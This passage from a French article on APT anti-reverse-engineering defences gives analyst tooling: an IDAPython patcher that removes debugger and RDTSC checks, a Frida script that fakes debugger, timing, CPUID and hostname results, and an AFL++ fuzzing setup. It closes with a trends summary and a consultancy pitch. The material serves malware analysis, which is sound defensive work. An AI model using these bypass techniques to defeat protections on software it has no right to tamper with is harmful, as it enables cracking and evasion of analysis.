        return False

    def find_and_patch_isdebuggerpresent(self):
        """Patcher les appels à IsDebuggerPresent"""
        for seg in idautils.Segments():
            for head in idautils.Heads(seg, idc.get_segm_end(seg)):
                if idc.print_insn_mnem(head) == "call":
                    target = idc.get_operand_value(head, 0)
                    name = idc.get_name(target)
                    if name and "IsDebuggerPresent" in name:
                        # Remplacer CALL par XOR EAX,EAX + NOP
                        # Retourne toujours FALSE
                        call_size = idc.get_item_size(head)
                        patch = b'\x31\xC0'  # xor eax, eax
                        patch += b'\x90' * (call_size - 2)  # NOP padding
                        idaapi.patch_bytes(head, patch)
                        self.patches += 1
                        print(f"[+] Patched IsDebuggerPresent call "
                              f"at 0x{head:X}")

    def find_and_patch_peb_check(self):
        """Patcher l'accès direct au PEB BeingDebugged"""
        # Pattern x64 : 65 48 8B 04 25 60 00 00 00 (mov rax, gs:[60h])
        pattern = "65 48 8B 04 25 60 00 00 00"
        addr = idc.find_binary(0, idc.SEARCH_DOWN, pattern)
        while addr != idc.BADADDR:
            # Chercher le test du BeingDebugged qui suit
            for check_ea in range(addr, addr + 30):
                if idc.print_insn_mnem(check_ea) in ("cmp", "test"):
                    # NOP la comparaison + le saut conditionnel
                    jmp_ea = check_ea + idc.get_item_size(check_ea)
                    if idc.print_insn_mnem(jmp_ea) in ("jnz", "jz", "jne", "je"):
                        size = idc.get_item_size(check_ea) + \
                               idc.get_item_size(jmp_ea)
                        idaapi.patch_bytes(check_ea, b'\x90' * size)
                        self.patches += 1
                        print(f"[+] Patched PEB check at 0x{check_ea:X}")
                    break
            addr = idc.find_binary(addr + 1, idc.SEARCH_DOWN, pattern)

    def find_and_patch_rdtsc(self):
        """Neutraliser les timing checks RDTSC"""
        pattern = "0F 31"  # RDTSC opcode
        addr = idc.find_binary(0, idc.SEARCH_DOWN, pattern)
        count = 0
        while addr != idc.BADADDR and count < 20:
            # NOP le RDTSC pour toujours retourner 0
            idaapi.patch_bytes(addr, b'\x31\xC0')  # xor eax, eax
            self.patches += 1
            count += 1
            print(f"[+] Patched RDTSC at 0x{addr:X}")
            addr = idc.find_binary(addr + 2, idc.SEARCH_DOWN, pattern)

    def run(self):
        """Exécuter toutes les passes de patching"""
        print("[*] Anti-Debug Patcher starting...")
        self.find_and_patch_isdebuggerpresent()
        self.find_and_patch_peb_check()
        self.find_and_patch_rdtsc()
        print(f"[*] Done: {self.patches} patches applied")

# Exécution dans IDA Pro
# patcher = AntiDebugPatcher()
# patcher.run()

9.2 Bypass dynamique avec Frida

// Script Frida pour bypass des anti-RE en temps réel
// Usage : frida -l bypass_anti_re.js -f malware.exe

console.log("[*] Anti-RE Bypass Script loaded");

// 1. Hook IsDebuggerPresent
Interceptor.attach(Module.findExportByName("kernel32.dll",
    "IsDebuggerPresent"), {
    onLeave: function(retval) {
        retval.replace(0);  // Toujours retourner FALSE
        console.log("[+] IsDebuggerPresent -> FALSE");
    }
});

// 2. Hook NtQueryInformationProcess
var ntdll = Module.findBaseAddress("ntdll.dll");
var pNtQIP = Module.findExportByName("ntdll.dll",
    "NtQueryInformationProcess");

Interceptor.attach(pNtQIP, {
    onEnter: function(args) {
        this.infoClass = args[1].toInt32();
        this.outBuffer = args[2];
    },
    onLeave: function(retval) {
        // ProcessDebugPort (7) ou ProcessDebugObjectHandle (0x1E)
        if (this.infoClass === 7 || this.infoClass === 0x1E) {
            this.outBuffer.writeU64(0);
            console.log("[+] NtQueryInformationProcess(" +
                       this.infoClass + ") -> 0");
        }
    }
});

// 3. Hook GetTickCount64 (anti-timing)
var originalTick = null;
Interceptor.attach(Module.findExportByName("kernel32.dll",
    "GetTickCount64"), {
    onEnter: function() {
        if (!originalTick) {
            originalTick = Date.now();
        }
    },
    onLeave: function(retval) {
        // Simuler un uptime de 3 heures (éviter détection sandbox)
        var fakeUptime = 10800000 + (Date.now() - originalTick);
        retval.replace(ptr(fakeUptime));
    }
});

// 4. Hook CPUID (anti-VM)
// Note : nécessite Stalker pour intercepter CPUID
var cm = new CModule(`
#include 
extern void on_cpuid(GumCpuContext *ctx) {
    // Si leaf 0x40000000 (hypervisor vendor), retourner vide
    if (ctx->rax == 0x40000000) {
        ctx->rbx = 0;
        ctx->rcx = 0;
        ctx->rdx = 0;
    }
    // Si leaf 1, masquer le bit hypervisor (ECX bit 31)
    if (ctx->rax == 1) {
        ctx->rcx &= ~(1 << 31);
    }
}
`);

// 5. Patcher les checks de nom d'utilisateur/hostname
Interceptor.attach(Module.findExportByName("kernel32.dll",
    "GetComputerNameA"), {
    onLeave: function(retval) {
        var buf = this.context.rcx || this.context.r8;
        // Remplacer par un nom réaliste
        buf.writeAnsiString("DESKTOP-A7B3C9D");
        console.log("[+] ComputerName -> DESKTOP-A7B3C9D");
    }
});

console.log("[*] All hooks installed. Anti-RE bypassed.");

9.3 Fuzzing avec AFL++ pour découvrir les chemins cachés

#!/bin/bash
# Utilisation d'AFL++ pour fuzzer un malware et découvrir
# les chemins d'exécution cachés derrière les anti-RE

# 1. Compiler le harness avec instrumentation AFL
export AFL_CC_COMPILER=LLVM
afl-clang-lto -o harness harness.c \
    -fsanitize=address \
    -DFUZZ_MODE=1

# 2. Créer le corpus initial (inputs connus)
mkdir -p corpus/
echo -n "NORMAL_INPUT" > corpus/seed1.bin
echo -n "\x00\x00\x00\x00" > corpus/seed2.bin

# 3. Créer le dictionnaire de tokens du malware
cat > dict.txt << 'EOF'
# Tokens extraits du malware
"VMware"
"VBOX"
"Sandbox"
"cuckoo"
"\x0F\x31"  # RDTSC
"\xCD\x2D"  # INT 2D
"\x64\xA1\x30\x00\x00\x00"  # PEB access x86
EOF

# 4. Lancer le fuzzing multi-coeur
afl-fuzz -i corpus/ -o findings/ \
    -x dict.txt \
    -m 512 \
    -t 5000 \
    -M master \
    -- ./harness @@

# En parallèle sur d'autres coeurs :
# afl-fuzz -i corpus/ -o findings/ -S slave01 -- ./harness @@
# afl-fuzz -i corpus/ -o findings/ -S slave02 -- ./harness @@

# 5. Analyser les crashes et les chemins découverts
afl-tmin -i findings/master/crashes/ -o minimized/ -- ./harness @@

echo "[*] Chemins uniques découverts :"
ls findings/master/queue/ | wc -l

echo "[*] Crashes trouvés :"
ls findings/master/crashes/ | wc -l

10. Conclusion

L'analyse des techniques anti-RE déployées par les groupes APT révèle une industrialisation de l'évasion. Les implants modernes ne reposent plus sur une ou deux astuces, mais sur une architecture défensive multicouche où chaque protection renforce les autres.

Les tendances émergentes incluent :

  • IA offensive : utilisation de modèles de langage pour générer du code polymorphe contextuel, rendant chaque sample unique et indétectable par signatures statiques
  • Anti-RE basée sur l'environnement : le payload ne se déchiffre que sur la machine cible (clé dérivée du hostname, GUID machine, certificats installés), rendant l'analyse impossible sur une machine tierce
  • Firmware-level evasion : implants dans le BIOS/UEFI, l'Intel ME, ou les contrôleurs BMC, invisibles à l'OS et survivant aux réinstallations
  • Communication covert channel : DNS-over-HTTPS, steganographie dans les images de profil de réseaux sociaux, communications via des services cloud légitimes (OneDrive, Notion, Telegram)

Face à cette sophistication croissante, l'analyste doit maintenir une approche systématique : identifier les couches de protection, les neutraliser séquentiellement, et documenter chaque technique pour alimenter les signatures de détection. Les outils comme Frida, IDAPython et AFL++ sont les alliés essentiels de cette contre-analyse.

Recommandation : Maintenez un catalogue interne des techniques anti-RE rencontrées, avec les scripts de contournement associés. La réutilisation de code entre campagnes APT est fréquente — une technique identifiée dans un sample Lazarus pourra être retrouvée dans une future campagne.

Besoin d'un accompagnement expert ?

Nos consultants en cybersécurité et IA vous accompagnent dans vos projets. Devis personnalisé sous 24h.